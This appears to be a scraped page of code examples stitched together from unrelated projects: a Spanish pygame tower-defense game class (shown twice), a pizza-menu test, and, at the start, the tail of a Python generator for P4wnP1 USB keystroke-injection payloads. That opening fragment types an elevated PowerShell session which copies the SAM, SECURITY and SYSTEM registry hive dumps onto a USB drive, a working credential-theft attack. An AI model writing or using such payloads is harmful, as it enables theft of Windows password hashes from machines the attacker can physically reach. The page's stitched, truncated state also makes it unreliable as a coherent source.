        ) + ("press(\"GUI r\")\n") + ("delay(200)\n") + (
            "type(\"powershell.exe\")\n"
        ) + ("press(\"CTRL SHIFT ENTER\")\n") + ("delay(") + (settingdelay) + (
            ")\n"
        ) + ("press(\"LEFT\")\n") + ("press(\"ENTER\")\n") + (
            "delay(1000)\n"
        ) + (
            "type(\"$usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq '"
        ) + (ums) + ("' } | select name\\n\")\n") + (
            "type(\"cp C:\\\Windows\\\\temp\\\sam.save $usbPath.name\\n\")\n"
        ) + ("delay(400)\n") + (
            "type(\"cp C:\\\Windows\\\\temp\\\security.save $usbPath.name\\n\")\n"
        ) + ("delay(400)\n") + (
            "type(\"cp C:\\\Windows\\\\temp\\\system.save $usbPath.name\\n\")\n"
        ) + ("delay(2000)\n") + ("type(\"exit\\n\")\n")
        print(windowshashus)
        file = open(
            "Output-payloads/SAM,SYSTEM,SECURITY-" + (settingkeyboardlayout) +
            ".js", "w")
        file.write(windowshashus)
        file.close()

    print("\nsaved at Output/" + (script))  # where it is save
    menu2 = raw_input(
        "\n\n1) back to menu\n2) generate other payload for only P4wnP1 web interface\n3) exit\n\n> "
    )

    if menu2 == "1":
        os.system("clear")
        MENU()

    elif menu2 == "2":
        os.system("clear")
        windows()

    elif menu2 == "3":
        rabbit()
        exit()
Ejemplo n.º 8
0
Archivo: juego.py Proyecto: D9Coy/juego
class JUEGO:
    def __init__(self):
        self.ANCHO = 1200
        self.ALTO = 600
        self.multimedia = MULTIMEDIA()

        self.salirjuego = False
        self.iniciarjuego = False
        self.iniciarcreditos = False
        self.nuevojuego = False
        self.mostraropciones = False
        self.mostrarmenuinicio = False
        self.mostrarmenupausa = False
        self.ubicartorres = False

        self.opciones_inicio = [("Jugar", self.comenzar_nuevo_juego),
                                ("Opciones", self.mostrar_opciones),
                                ("Creditos", self.creditos),
                                ("Salir", self.salir_del_programa)]

        self.opciones_pausa = [("Continuar", self.continuar_juego),
                               ("Nuevo Juego", self.comenzar_nuevo_juego),
                               ("Opciones", self.mostrar_opciones),
                               ("Creditos", self.creditos),
                               ("Salir", self.salir_del_programa)]

        pygame.font.init()
        self.screen = pygame.display.set_mode((self.ANCHO, self.ALTO))
        self.reloj = pygame.time.Clock()

        self.run()

    def resetOpciones(self):
        self.salirjuego = False
        self.iniciarjuego = False
        self.iniciarcreditos = False
        self.nuevojuego = False
        self.mostraropciones = False
        self.mostrarmenuinicio = False
        self.mostrarmenupausa = False
        self.ubicartorres = False

    def continuar_juego(self):
        self.resetOpciones()
        self.iniciarjuego = True

    def comenzar_nuevo_juego(self):
        self.resetOpciones()
        self.nuevojuego = True

    def mostrar_opciones(self):
        self.resetOpciones()
        self.mostraropciones = True

    def creditos(self):
        self.resetOpciones()
        self.iniciarcreditos = True

    def mostrar_menu_pausa(self):
        self.resetOpciones()
        self.mostrarmenupausa = True

    def mostrar_menu_inicio(self):
        self.resetOpciones()
        self.mostrarmenuinicio = True

    def ubicar_torres(self):
        self.resetOpciones()
        self.ubicartorres = True

    def salir_del_programa(self):
        import sys
        sys.exit(0)

    def MostrarOpciones(self):
        pass

    def IniciarCreditos(self):
        pass

    def iniciar_nuevo_juego(self):
        self.resetOpciones()
        self.ubicartorres = True
        self.fondo = self.multimedia.getImagen("Fondos", "fondo", "", "1",
                                               (self.ANCHO, self.ALTO))
        self.mapa = MAPA(
            self.multimedia.texto_mapa(self.multimedia.archivo_texto("mapa"),
                                       "x", (self.ANCHO, self.ALTO)),
            self.multimedia)
        self.torres = TORRES(
            3,
            self.multimedia.texto_torres(self.multimedia.archivo_texto("mapa"),
                                         "t", (self.ANCHO, self.ALTO)),
            self.multimedia)
        self.zombiez = ZOMBIEZ(10, self.multimedia, (self.ANCHO, self.ALTO))
        self.balas_zombiez = pygame.sprite.Group()
        self.balas_torres = pygame.sprite.Group()
        self.algoritmos = ALGORITMOS()
        self.colisiones = COLISIONES()

    def ubicar_torres(self):
        self.resetOpciones()
        self.ubicartorres = True

    def UbicarTOrres(self):
        self.mapa.dibujar(self.screen)
        self.torres.update()
        self.torres.dibujar(self.screen)

    def iniciar_juego(self):
        pass

    def impactar(self, sprite1, grupo1, sprite2):
        sprite2.setVida(sprite2.vida - 1)
        grupo1.remove(sprite1)

    def Update(self):

        self.fondo = self.multimedia.getImagen("Fondos", "fondo", "", "1",
                                               (self.ANCHO, self.ALTO))

        self.mapa.dibujar(self.screen)
        self.torres.update()
        self.torres.dibujar(self.screen)
        self.zombiez.update()
        self.zombiez.dibujar(self.screen)
        for z in self.zombiez.zombiez:
            if z.disparar:
                if z.vida <= 0:
                    self.zombiez.zombiez.remove(z)
                else:
                    torre = self.torres.getTorre(
                        random.randint(0, self.torres.numero - 1))
                    self.balas_zombiez.add(
                        BALA(
                            3,
                            self.algoritmos.PuntoMedioPantalla(
                                z.rect.center, torre.rect.center),
                            self.multimedia))
                    z.disparar = False

        for t in self.torres.torres:
            if t.vida <= 0:
                self.torres.torres.remove(t)
            else:
                if t.disparar:
                    zombie = self.zombiez.getZombie(
                        random.randint(0, self.torres.numero - 1))
                    self.balas_torres.add(
                        BALA(
                            5,
                            self.algoritmos.PuntoMedioPantalla(
                                t.rect.center, zombie.rect.center),
                            self.multimedia))
                    t.disparar = False

        for b in self.balas_zombiez:
            b.update()
            self.colisiones.Sprite(b, self.balas_zombiez, self.torres.torres,
                                   False, self.impactar)

        for b in self.balas_torres:
            b.update()
            self.colisiones.Sprite(b, self.balas_torres, self.zombiez.zombiez,
                                   False, self.impactar)

        self.balas_zombiez.draw(self.screen)
        self.balas_torres.draw(self.screen)

    def run(self):

        self.menu_inicio = MENU(self.opciones_inicio, [(255, 0, 0),
                                                       ((255, 255, 255))],
                                self.multimedia)
        self.menu_pausa = MENU(self.opciones_pausa, [(255, 0, 0),
                                                     ((255, 255, 255))],
                               self.multimedia)

        self.mostrarmenuinicio = True

        self.fondo = self.multimedia.getImagen("Fondos", "fondo_menu", "", "0",
                                               (self.ANCHO, self.ALTO))

        #self.multimedia.texto_comodin(self.multimedia.archivo_texto("mapa0"), "p", " ")

        while not self.salirjuego:

            self.screen.blit(self.fondo, (0, 0))

            tecla = pygame.key.get_pressed()
            for e in pygame.event.get():
                if e.type == QUIT:
                    self.resetOpciones()
                    self.salirjuego = True
                if tecla[pygame.K_ESCAPE] and not self.mostrarmenuinicio:
                    self.mostrar_menu_pausa()

                if self.ubicartorres and tecla[
                        pygame.K_KP_ENTER] and self.torres.isUbicadas():
                    self.resetOpciones()
                    self.iniciarjuego = True

                if (self.ubicartorres and pygame.mouse.get_pressed()[0]):
                    mouse_pos = pygame.mouse.get_pos()
                    mouse_pos = mouse_pos[0] / self.mapa.size[0], mouse_pos[
                        1] / self.mapa.size[1]
                    mouse_pos = mouse_pos[0] * self.mapa.size[0], mouse_pos[
                        1] * self.mapa.size[1]
                    self.torres.seleccionarPosicion(mouse_pos)

            if (self.ubicartorres):
                self.UbicarTOrres()

            if (self.mostrarmenuinicio):
                self.fondo = self.multimedia.getImagen("Fondos", "fondo_menu",
                                                       "", "0",
                                                       (self.ANCHO, self.ALTO))
                self.fondo = pygame.transform.scale(self.fondo,
                                                    (self.ANCHO, self.ALTO))
                self.menu_inicio.actualizar()
                self.menu_inicio.imprimir(self.screen)

            if (self.mostrarmenupausa):
                self.fondo = self.multimedia.getImagen("Fondos", "fondo_menu",
                                                       "", "0",
                                                       (self.ANCHO, self.ALTO))
                self.fondo = pygame.transform.scale(self.fondo,
                                                    (self.ANCHO, self.ALTO))
                self.menu_pausa.actualizar()
                self.menu_pausa.imprimir(self.screen)

            if (self.iniciarjuego):
                #print "runing"
                self.Update()

            if (self.mostraropciones):
                #print "runing opciones"
                self.MostrarOpciones()

            if (self.iniciarcreditos):
                #print "runing creditos"
                self.IniciarCreditos()

            if (self.nuevojuego):
                #print "runing nuevo juego"
                self.iniciar_nuevo_juego()

            pygame.display.flip()
            self.reloj.tick(60)

        pygame.quit()
Ejemplo n.º 9
0
Archivo: juego.py Proyecto: D9Coy/juego
    def run(self):

        self.menu_inicio = MENU(self.opciones_inicio, [(255, 0, 0),
                                                       ((255, 255, 255))],
                                self.multimedia)
        self.menu_pausa = MENU(self.opciones_pausa, [(255, 0, 0),
                                                     ((255, 255, 255))],
                               self.multimedia)

        self.mostrarmenuinicio = True

        self.fondo = self.multimedia.getImagen("Fondos", "fondo_menu", "", "0",
                                               (self.ANCHO, self.ALTO))

        #self.multimedia.texto_comodin(self.multimedia.archivo_texto("mapa0"), "p", " ")

        while not self.salirjuego:

            self.screen.blit(self.fondo, (0, 0))

            tecla = pygame.key.get_pressed()
            for e in pygame.event.get():
                if e.type == QUIT:
                    self.resetOpciones()
                    self.salirjuego = True
                if tecla[pygame.K_ESCAPE] and not self.mostrarmenuinicio:
                    self.mostrar_menu_pausa()

                if self.ubicartorres and tecla[
                        pygame.K_KP_ENTER] and self.torres.isUbicadas():
                    self.resetOpciones()
                    self.iniciarjuego = True

                if (self.ubicartorres and pygame.mouse.get_pressed()[0]):
                    mouse_pos = pygame.mouse.get_pos()
                    mouse_pos = mouse_pos[0] / self.mapa.size[0], mouse_pos[
                        1] / self.mapa.size[1]
                    mouse_pos = mouse_pos[0] * self.mapa.size[0], mouse_pos[
                        1] * self.mapa.size[1]
                    self.torres.seleccionarPosicion(mouse_pos)

            if (self.ubicartorres):
                self.UbicarTOrres()

            if (self.mostrarmenuinicio):
                self.fondo = self.multimedia.getImagen("Fondos", "fondo_menu",
                                                       "", "0",
                                                       (self.ANCHO, self.ALTO))
                self.fondo = pygame.transform.scale(self.fondo,
                                                    (self.ANCHO, self.ALTO))
                self.menu_inicio.actualizar()
                self.menu_inicio.imprimir(self.screen)

            if (self.mostrarmenupausa):
                self.fondo = self.multimedia.getImagen("Fondos", "fondo_menu",
                                                       "", "0",
                                                       (self.ANCHO, self.ALTO))
                self.fondo = pygame.transform.scale(self.fondo,
                                                    (self.ANCHO, self.ALTO))
                self.menu_pausa.actualizar()
                self.menu_pausa.imprimir(self.screen)

            if (self.iniciarjuego):
                #print "runing"
                self.Update()

            if (self.mostraropciones):
                #print "runing opciones"
                self.MostrarOpciones()

            if (self.iniciarcreditos):
                #print "runing creditos"
                self.IniciarCreditos()

            if (self.nuevojuego):
                #print "runing nuevo juego"
                self.iniciar_nuevo_juego()

            pygame.display.flip()
            self.reloj.tick(60)

        pygame.quit()
Ejemplo n.º 10
0
def test_all_hashes_differ():
    types = [
        pizza_type(size) for pizza_type in MENU.values() for size in SIZES_AVAILABLE
    ]
    assert len(set(types)) == len(types)